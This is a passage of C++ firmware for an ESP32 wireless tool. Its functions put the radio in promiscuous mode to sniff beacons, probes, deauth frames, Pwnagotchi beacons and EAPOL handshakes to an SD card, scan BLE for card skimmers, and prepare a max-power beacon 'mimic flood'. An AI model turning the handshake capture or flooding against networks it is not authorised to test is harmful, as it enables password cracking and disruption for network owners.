  624. }
  625. else {
  626. #ifdef HAS_SCREEN
  627. display_obj.tft.println(text_table4[34]);
  628. #endif
  629. }
  630. #ifdef HAS_SCREEN
  631. display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
  632. #endif
  633. }
  634. void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
  635. sd_obj.openCapture("espressif");
  636. #ifdef HAS_SCREEN
  637. display_obj.TOP_FIXED_AREA_2 = 48;
  638. display_obj.tteBar = true;
  639. display_obj.print_delay_1 = 15;
  640. display_obj.print_delay_2 = 10;
  641. display_obj.initScrollValues(true);
  642. display_obj.tft.setTextWrap(false);
  643. display_obj.tft.setTextColor(TFT_WHITE, color);
  644. display_obj.tft.fillRect(0,16,240,16, color);
  645. display_obj.tft.drawCentreString(text_table4[36],120,16,2);
  646. display_obj.touchToExit();
  647. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  648. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  649. #endif
  650. esp_wifi_init(&cfg);
  651. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  652. esp_wifi_set_mode(WIFI_MODE_NULL);
  653. esp_wifi_start();
  654. esp_wifi_set_promiscuous(true);
  655. esp_wifi_set_promiscuous_filter(&filt);
  656. esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
  657. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  658. this->wifi_initialized = true;
  659. initTime = millis();
  660. }
  661. void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
  662. {
  663. #ifdef HAS_SCREEN
  664. display_obj.tft.init();
  665. display_obj.tft.setRotation(1);
  666. display_obj.tft.fillScreen(TFT_BLACK);
  667. #endif
  668. sd_obj.openCapture("packet_monitor");
  669. #ifdef HAS_SCREEN
  670. #ifdef TFT_SHIELD
  671. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  672. Serial.println("Using TFT Shield");
  673. #else if defined(TFT_DIY)
  674. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  675. Serial.println("Using TFT DIY");
  676. #endif
  677. display_obj.tft.setTouch(calData);
  678. //display_obj.tft.setFreeFont(1);
  679. display_obj.tft.setFreeFont(NULL);
  680. display_obj.tft.setTextSize(1);
  681. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  682. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  683. delay(10);
  684. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  685. display_obj.tftDrawColorKey();
  686. display_obj.tftDrawXScaleButtons(x_scale);
  687. display_obj.tftDrawYScaleButtons(y_scale);
  688. display_obj.tftDrawChannelScaleButtons(set_channel);
  689. display_obj.tftDrawExitScaleButtons();
  690. #endif
  691. Serial.println("Running packet scan...");
  692. esp_wifi_init(&cfg);
  693. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  694. esp_wifi_set_mode(WIFI_MODE_NULL);
  695. esp_wifi_start();
  696. esp_wifi_set_promiscuous(true);
  697. esp_wifi_set_promiscuous_filter(&filt);
  698. esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
  699. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  700. this->wifi_initialized = true;
  701. uint32_t initTime = millis();
  702. }
  703. void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
  704. {
  705. num_eapol = 0;
  706. #ifdef HAS_SCREEN
  707. display_obj.tft.init();
  708. display_obj.tft.setRotation(1);
  709. display_obj.tft.fillScreen(TFT_BLACK);
  710. #endif
  711. sd_obj.openCapture("eapol");
  712. #ifdef HAS_SCREEN
  713. #ifdef TFT_SHIELD
  714. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  715. //Serial.println("Using TFT Shield");
  716. #else if defined(TFT_DIY)
  717. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  718. //Serial.println("Using TFT DIY");
  719. #endif
  720. display_obj.tft.setTouch(calData);
  721. display_obj.tft.setFreeFont(NULL);
  722. display_obj.tft.setTextSize(1);
  723. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  724. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  725. delay(10);
  726. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  727. display_obj.tftDrawEapolColorKey();
  728. display_obj.tftDrawChannelScaleButtons(set_channel);
  729. display_obj.tftDrawExitScaleButtons();
  730. #endif
  731. wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
  732. esp_wifi_init(&cfg);
  733. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  734. //esp_wifi_set_mode(WIFI_MODE_NULL);
  735. esp_wifi_set_mode(WIFI_AP_STA);
  736. esp_wifi_start();
  737. esp_wifi_set_promiscuous(true);
  738. esp_wifi_set_promiscuous_filter(&filt);
  739. esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
  740. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  741. this->wifi_initialized = true;
  742. initTime = millis();
  743. }
  744. // Function to prepare for beacon mimic
  745. void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
  746. #ifdef HAS_SCREEN
  747. display_obj.TOP_FIXED_AREA_2 = 48;
  748. display_obj.tteBar = true;
  749. display_obj.print_delay_1 = 15;
  750. display_obj.print_delay_2 = 10;
  751. display_obj.initScrollValues(true);
  752. display_obj.tft.setTextWrap(false);
  753. display_obj.tft.setTextColor(TFT_BLACK, color);
  754. display_obj.tft.fillRect(0,16,240,16, color);
  755. display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
  756. display_obj.touchToExit();
  757. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  758. #endif
  759. packets_sent = 0;
  760. esp_wifi_init(&cfg);
  761. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  762. esp_wifi_set_mode(WIFI_AP_STA);
  763. esp_wifi_start();
  764. esp_wifi_set_promiscuous_filter(NULL);
  765. esp_wifi_set_promiscuous(true);
  766. esp_wifi_set_max_tx_power(78);
  767. this->wifi_initialized = true;
  768. initTime = millis();
  769. }
  770. void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
  771. {
  772. sd_obj.openCapture("pwnagotchi");
  773. #ifdef HAS_SCREEN
  774. display_obj.TOP_FIXED_AREA_2 = 48;
  775. display_obj.tteBar = true;
  776. display_obj.print_delay_1 = 15;
  777. display_obj.print_delay_2 = 10;
  778. display_obj.initScrollValues(true);
  779. display_obj.tft.setTextWrap(false);
  780. display_obj.tft.setTextColor(TFT_WHITE, color);
  781. display_obj.tft.fillRect(0,16,240,16, color);
  782. display_obj.tft.drawCentreString(text_table4[37],120,16,2);
  783. display_obj.touchToExit();
  784. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  785. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  786. #endif
  787. esp_wifi_init(&cfg);
  788. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  789. esp_wifi_set_mode(WIFI_MODE_NULL);
  790. esp_wifi_start();
  791. esp_wifi_set_promiscuous(true);
  792. esp_wifi_set_promiscuous_filter(&filt);
  793. esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
  794. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  795. this->wifi_initialized = true;
  796. initTime = millis();
  797. }
  798. // Function to start running a beacon scan
  799. void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
  800. {
  801. sd_obj.openCapture("beacon");
  802. #ifdef HAS_SCREEN
  803. display_obj.TOP_FIXED_AREA_2 = 48;
  804. display_obj.tteBar = true;
  805. display_obj.print_delay_1 = 15;
  806. display_obj.print_delay_2 = 10;
  807. display_obj.initScrollValues(true);
  808. display_obj.tft.setTextWrap(false);
  809. display_obj.tft.setTextColor(TFT_WHITE, color);
  810. display_obj.tft.fillRect(0,16,240,16, color);
  811. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  812. display_obj.touchToExit();
  813. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  814. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  815. #endif
  816. esp_wifi_init(&cfg);
  817. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  818. esp_wifi_set_mode(WIFI_MODE_NULL);
  819. esp_wifi_start();
  820. esp_wifi_set_promiscuous(true);
  821. esp_wifi_set_promiscuous_filter(&filt);
  822. esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
  823. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  824. this->wifi_initialized = true;
  825. initTime = millis();
  826. }
  827. void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
  828. {
  829. sd_obj.openCapture("deauth");
  830. #ifdef HAS_SCREEN
  831. display_obj.TOP_FIXED_AREA_2 = 48;
  832. display_obj.tteBar = true;
  833. display_obj.print_delay_1 = 15;
  834. display_obj.print_delay_2 = 10;
  835. display_obj.initScrollValues(true);
  836. display_obj.tft.setTextWrap(false);
  837. display_obj.tft.setTextColor(TFT_BLACK, color);
  838. display_obj.tft.fillRect(0,16,240,16, color);
  839. display_obj.tft.drawCentreString(text_table4[39],120,16,2);
  840. display_obj.touchToExit();
  841. display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
  842. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  843. #endif
  844. esp_wifi_init(&cfg);
  845. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  846. esp_wifi_set_mode(WIFI_MODE_NULL);
  847. esp_wifi_start();
  848. esp_wifi_set_promiscuous(true);
  849. esp_wifi_set_promiscuous_filter(&filt);
  850. esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
  851. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  852. this->wifi_initialized = true;
  853. initTime = millis();
  854. }
  855. // Function for running probe request scan
  856. void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
  857. {
  858. sd_obj.openCapture("probe");
  859. #ifdef HAS_SCREEN
  860. display_obj.TOP_FIXED_AREA_2 = 48;
  861. display_obj.tteBar = true;
  862. display_obj.print_delay_1 = 15;
  863. display_obj.print_delay_2 = 10;
  864. display_obj.initScrollValues(true);
  865. display_obj.tft.setTextWrap(false);
  866. display_obj.tft.setTextColor(TFT_BLACK, color);
  867. display_obj.tft.fillRect(0,16,240,16, color);
  868. display_obj.tft.drawCentreString(text_table4[40],120,16,2);
  869. display_obj.touchToExit();
  870. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  871. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  872. #endif
  873. esp_wifi_init(&cfg);
  874. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  875. esp_wifi_set_mode(WIFI_MODE_NULL);
  876. esp_wifi_start();
  877. esp_wifi_set_promiscuous(true);
  878. esp_wifi_set_promiscuous_filter(&filt);
  879. esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
  880. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  881. this->wifi_initialized = true;
  882. initTime = millis();
  883. }
  884. // Function to start running any BLE scan
  885. void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
  886. {
  887. #ifdef HAS_BT
  888. #ifdef HAS_SCREEN
  889. display_obj.print_delay_1 = 50;
  890. display_obj.print_delay_2 = 20;
  891. #endif
  892. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  893. NimBLEDevice::setScanDuplicateCacheSize(200);
  894. NimBLEDevice::init("");
  895. pBLEScan = NimBLEDevice::getScan(); //create new scan
  896. if (scan_mode == BT_SCAN_ALL)
  897. {
  898. #ifdef HAS_SCREEN
  899. display_obj.TOP_FIXED_AREA_2 = 48;
  900. display_obj.tteBar = true;
  901. display_obj.initScrollValues(true);
  902. display_obj.tft.setTextWrap(false);
  903. display_obj.tft.setTextColor(TFT_BLACK, color);
  904. display_obj.tft.fillRect(0,16,240,16, color);
  905. display_obj.tft.drawCentreString(text_table4[41],120,16,2);
  906. display_obj.touchToExit();
  907. display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
  908. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  909. #endif
  910. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
  911. }
  912. else if (scan_mode == BT_SCAN_SKIMMERS)
  913. {
  914. #ifdef HAS_SCREEN
  915. display_obj.TOP_FIXED_AREA_2 = 160;
  916. display_obj.tteBar = true;
  917. display_obj.tft.fillScreen(TFT_DARKGREY);
  918. display_obj.initScrollValues(true);
  919. display_obj.tft.setTextWrap(false);
  920. display_obj.tft.setTextColor(TFT_BLACK, color);
  921. display_obj.tft.fillRect(0,16,240,16, color);
  922. display_obj.tft.drawCentreString(text_table4[42],120,16,2);
  923. display_obj.twoPartDisplay(text_table4[43]);
  924. display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
  925. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  926. #endif
  927. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
  928. }
  929. pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
  930. pBLEScan->setInterval(97);
  931. pBLEScan->setWindow(37); // less or equal setInterval value
  932. pBLEScan->setMaxResults(0);
  933. pBLEScan->start(0, scanCompleteCB, false);
  934. Serial.println("Started BLE Scan");
  935. this->ble_initialized = true;
  936. initTime = millis();
  937. #endif
  938. }
  939. // Function that is called when BLE scan is completed
  940. #ifdef HAS_BT
  941. void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
  942. printf("Scan complete!\n");
  943. printf("Found %d devices\n", scanResults.getCount());
  944. scanResults.dump();
  945. } // scanCompleteCB
  946. #endif
  947. // Function to extract MAC addr from a packet at given offset
  948. void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
  949. sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
  950. }
  951. void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  952. {
  953. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  954. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  955. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  956. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  957. int len = snifferPacket->rx_ctrl.sig_len;
  958. String display_string = "";
  959. String src_addr_string = "";
  960. if (type == WIFI_PKT_MGMT)
  961. {
  962. len -= 4;
  963. }
  964. int fctl = ntohs(frameControl->fctl);
  965. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  966. const WifiMgmtHdr *hdr = &ipkt->hdr;
  967. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  968. //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
  969. //{
  970. char addr[] = "00:00:00:00:00:00";
  971. getMAC(addr, snifferPacket->payload, 10);
  972. src_addr_string.concat(addr);
  973. bool match = false;
  974. for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
  975. if (src_addr_string.startsWith(espressif_macs[i])) {
  976. match = true;
  977. break;
  978. }
  979. }
  980. if (!match)
  981. return;
  982. delay(random(0, 10));
  983. Serial.print("RSSI: ");
  984. Serial.print(snifferPacket->rx_ctrl.rssi);
  985. Serial.print(" Ch: ");
  986. Serial.print(snifferPacket->rx_ctrl.channel);
  987. Serial.print(" BSSID: ");
  988. Serial.print(addr);
  989. //display_string.concat(" RSSI: ");
  990. //display_string.concat(snifferPacket->rx_ctrl.rssi);
  991. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  992. //display_string.concat(" ");
  993. display_string.concat(" -> ");
  994. display_string.concat(addr);
  995. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  996. {
  997. display_string.concat(" ");
  998. }
  999. Serial.print(" ");
  1000. #ifdef HAS_SCREEN
  1001. display_obj.loading = true;
  1002. display_obj.display_buffer->add(display_string);
  1003. display_obj.loading = false;
  1004. #endif
  1005. Serial.println();
  1006. if (save_packet)
  1007. sd_obj.addPacket(snifferPacket->payload, len);
  1008. //}
  1009. }
  1010. void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1011. {
  1012. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1013. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1014. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1015. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1016. int len = snifferPacket->rx_ctrl.sig_len;
  1017. String display_string = "";
  1018. String src = "";
  1019. String essid = "";
  1020. if (type == WIFI_PKT_MGMT)
  1021. {
  1022. len -= 4;
  1023. int fctl = ntohs(frameControl->fctl);
  1024. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1025. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1026. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1027. #ifdef HAS_SCREEN
  1028. int buf = display_obj.display_buffer->size();
  1029. #else
  1030. int buf = 0;
  1031. #endif
  1032. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1033. {
  1034. char addr[] = "00:00:00:00:00:00";
  1035. getMAC(addr, snifferPacket->payload, 10);
  1036. src.concat(addr);
  1037. if (src == "de:ad:be:ef:de:ad") {
  1038. delay(random(0, 10));
  1039. Serial.print("RSSI: ");
  1040. Serial.print(snifferPacket->rx_ctrl.rssi);
  1041. Serial.print(" Ch: ");
  1042. Serial.print(snifferPacket->rx_ctrl.channel);
  1043. Serial.print(" BSSID: ");
  1044. Serial.print(addr);
  1045. //display_string.concat(addr);
  1046. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1047. Serial.print(" ESSID: ");
  1048. display_string.concat(" -> ");
  1049. // Just grab the first 255 bytes of the pwnagotchi beacon
  1050. // because that is where the name is
  1051. //for (int i = 0; i < snifferPacket->payload[37]; i++)
  1052. for (int i = 0; i < len - 37; i++)
  1053. {
  1054. Serial.print((char)snifferPacket->payload[i + 38]);
  1055. //display_string.concat((char)snifferPacket->payload[i + 38]);
  1056. if (isAscii(snifferPacket->payload[i + 38]))
  1057. essid.concat((char)snifferPacket->payload[i + 38]);
  1058. else
  1059. Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
  1060. }
  1061. //essid.concat("\": \"\"}}");
  1062. //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
  1063. // Load json
  1064. //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
  1065. DynamicJsonDocument json(1024); // ArduinoJson v6
  1066. //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
  1067. // ArduinoJson v6
  1068. if (deserializeJson(json, essid)) {
  1069. Serial.println("\nCould not parse Pwnagotchi json");
  1070. display_string.concat(essid);
  1071. }
  1072. else {
  1073. Serial.println("\nSuccessfully parsed json");
  1074. String json_output;
  1075. //json.printTo(json_output); // ArduinoJson v5
  1076. serializeJson(json, json_output); // ArduinoJson v6
  1077. Serial.println(json_output);
  1078. display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
  1079. }
  1080. int temp_len = display_string.length();
  1081. for (int i = 0; i < 40 - temp_len; i++)
  1082. {
  1083. display_string.concat(" ");
  1084. }
  1085. Serial.print(" ");
  1086. #ifdef HAS_SCREEN
  1087. if (display_obj.display_buffer->size() == 0)
  1088. {
  1089. display_obj.loading = true;
  1090. display_obj.display_buffer->add(display_string);
  1091. display_obj.loading = false;
  1092. }
  1093. #endif
  1094. Serial.println();
  1095. if (save_packet)
  1096. sd_obj.addPacket(snifferPacket->payload, len);
  1097. }
  1098. }
  1099. }
  1100. }
  1101. void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {
  1102. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1103. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1104. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1105. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1106. int len = snifferPacket->rx_ctrl.sig_len;
  1107. String display_string = "";
  1108. String essid = "";
  1109. String bssid = "";
  1110. if (type == WIFI_PKT_MGMT)
  1111. {
  1112. len -= 4;
  1113. int fctl = ntohs(frameControl->fctl);
  1114. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1115. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1116. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1117. #ifdef HAS_SCREEN
  1118. int buf = display_obj.display_buffer->size();
  1119. #else
  1120. int buf = 0;
  1121. #endif
  1122. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1123. {
  1124. char addr[] = "00:00:00:00:00:00";
  1125. getMAC(addr, snifferPacket->payload, 10);
  1126. bool in_list = false;
  1127. bool mac_match = true;
  1128. for (int i = 0; i < access_points->size(); i++) {
  1129. mac_match = true;
  1130. //Serial.print("Checking ");
  1131. //Serial.print(addr);
  1132. //Serial.println(" against " + (String)access_points->get(i).essid);
  1133. for (int x = 0; x < 6; x++) {
  1134. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1135. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1136. mac_match = false;
  1137. //Serial.println("MACs do not match");
  1138. break;
  1139. }
  1140. }
  1141. if (mac_match) {
  1142. in_list = true;
  1143. break;
  1144. }
  1145. }
  1146. if (!in_list) {
  1147. delay(random(0, 10));
  1148. Serial.print("RSSI: ");
  1149. Serial.print(snifferPacket->rx_ctrl.rssi);
  1150. Serial.print(" Ch: ");
  1151. Serial.print(snifferPacket->rx_ctrl.channel);
  1152. Serial.print(" BSSID: ");
  1153. Serial.print(addr);
  1154. display_string.concat(addr);
  1155. Serial.print(" ESSID: ");
  1156. display_string.concat(" -> ");
  1157. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1158. {
  1159. Serial.print((char)snifferPacket->payload[i + 38]);
  1160. display_string.concat((char)snifferPacket->payload[i + 38]);
  1161. essid.concat((char)snifferPacket->payload[i + 38]);
  1162. }
  1163. bssid.concat(addr);
  1164. int temp_len = display_string.length();
  1165. for (int i = 0; i < 40 - temp_len; i++)
  1166. {
  1167. display_string.concat(" ");
  1168. }
  1169. Serial.print(" ");
  1170. #ifdef HAS_SCREEN
  1171. if (display_obj.display_buffer->size() == 0)
  1172. {
  1173. display_obj.loading = true;
  1174. display_obj.display_buffer->add(display_string);
  1175. display_obj.loading = false;
  1176. }
  1177. #endif
  1178. if (essid == "") {
  1179. essid = bssid;
  1180. Serial.print(essid + " ");
  1181. }
  1182. //LinkedList<char> beacon = new LinkedList<char>();
  1183. /*AccessPoint ap = {essid,
  1184. snifferPacket->rx_ctrl.channel,
  1185. {snifferPacket->payload[10],
  1186. snifferPacket->payload[11],
  1187. snifferPacket->payload[12],
  1188. snifferPacket->payload[13],
  1189. snifferPacket->payload[14],
  1190. snifferPacket->payload[15]},
  1191. false,
  1192. NULL};*/
  1193. AccessPoint ap;
  1194. ap.essid = essid;
  1195. ap.channel = snifferPacket->rx_ctrl.channel;
  1196. ap.bssid[0] = snifferPacket->payload[10];
  1197. ap.bssid[1] = snifferPacket->payload[11];
  1198. ap.bssid[2] = snifferPacket->payload[12];
  1199. ap.bssid[3] = snifferPacket->payload[13];
  1200. ap.bssid[4] = snifferPacket->payload[14];
  1201. ap.bssid[5] = snifferPacket->payload[15];
  1202. ap.selected = false;
  1203. ap.beacon = new LinkedList<char>();
  1204. //for (int i = 0; i < len; i++) {
  1205. // ap.beacon->add(snifferPacket->payload[i]);
  1206. //}
  1207. ap.beacon->add(snifferPacket->payload[34]);
  1208. ap.beacon->add(snifferPacket->payload[35]);
  1209. Serial.print("\nBeacon: ");
  1210. for (int i = 0; i < ap.beacon->size(); i++) {
  1211. char hexCar[4];
  1212. sprintf(hexCar, "%02X", ap.beacon->get(i));
  1213. Serial.print(hexCar);
  1214. if ((i + 1) % 16 == 0)
  1215. Serial.print("\n");
  1216. else
  1217. Serial.print(" ");
  1218. }
  1219. access_points->add(ap);
  1220. Serial.print(access_points->size());
  1221. Serial.println();
  1222. if (save_packet)
  1223. sd_obj.addPacket(snifferPacket->payload, len);
  1224. }
  1225. }
  1226. }
  1227. }
  1228. void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1229. {
  1230. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1231. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1232. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1233. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1234. int len = snifferPacket->rx_ctrl.sig_len;
  1235. String display_string = "";
  1236. String essid = "";
  1237. String bssid = "";
  1238. if (type == WIFI_PKT_MGMT)
  1239. {
  1240. len -= 4;
  1241. int fctl = ntohs(frameControl->fctl);
  1242. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1243. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1244. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1245. #ifdef HAS_SCREEN
  1246. int buf = display_obj.display_buffer->size();
  1247. #else
  1248. int buf = 0;
  1249. #endif
  1250. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1251. {
  1252. char addr[] = "00:00:00:00:00:00";
  1253. getMAC(addr, snifferPacket->payload, 10);
  1254. bool in_list = false;
  1255. bool mac_match = true;
  1256. for (int i = 0; i < access_points->size(); i++) {
  1257. mac_match = true;
  1258. //Serial.print("Checking ");
  1259. //Serial.print(addr);
  1260. //Serial.println(" against " + (String)access_points->get(i).essid);
  1261. for (int x = 0; x < 6; x++) {
  1262. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1263. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1264. mac_match = false;
  1265. //Serial.println("MACs do not match");
  1266. break;
  1267. }
  1268. }
  1269. if (mac_match) {
  1270. in_list = true;
  1271. break;
  1272. }
  1273. }
  1274. if (!in_list) {
  1275. delay(random(0, 10));
  1276. Serial.print("RSSI: ");
  1277. Serial.print(snifferPacket->rx_ctrl.rssi);
  1278. Serial.print(" Ch: ");
  1279. Serial.print(snifferPacket->rx_ctrl.channel);
  1280. Serial.print(" BSSID: ");
  1281. Serial.print(addr);
  1282. display_string.concat(addr);
  1283. Serial.print(" ESSID: ");
  1284. display_string.concat(" -> ");
  1285. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1286. {
  1287. Serial.print((char)snifferPacket->payload[i + 38]);
  1288. display_string.concat((char)snifferPacket->payload[i + 38]);
  1289. essid.concat((char)snifferPacket->payload[i + 38]);
  1290. }
  1291. bssid.concat(addr);
  1292. int temp_len = display_string.length();
  1293. for (int i = 0; i < 40 - temp_len; i++)
  1294. {
  1295. display_string.concat(" ");
  1296. }
  1297. Serial.print(" ");
  1298. #ifdef HAS_SCREEN
  1299. if (display_obj.display_buffer->size() == 0)
  1300. {
  1301. display_obj.loading = true;
  1302. display_obj.display_buffer->add(display_string);
  1303. display_obj.loading = false;
  1304. }
  1305. #endif
  1306. if (essid == "") {
  1307. essid = bssid;
  1308. Serial.print(essid + " ");
  1309. }
  1310. AccessPoint ap = {essid,
  1311. snifferPacket->rx_ctrl.channel,
  1312. {snifferPacket->payload[10],
  1313. snifferPacket->payload[11],
  1314. snifferPacket->payload[12],
  1315. snifferPacket->payload[13],
  1316. snifferPacket->payload[14],
  1317. snifferPacket->payload[15]},
  1318. false,
  1319. NULL};
  1320. access_points->add(ap);
  1321. Serial.print(access_points->size());
  1322. Serial.println();
  1323. if (save_packet)
  1324. sd_obj.addPacket(snifferPacket->payload, len);
  1325. }
  1326. }
  1327. }
  1328. }
  1329. void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1330. {
  1331. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1332. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1333. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1334. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
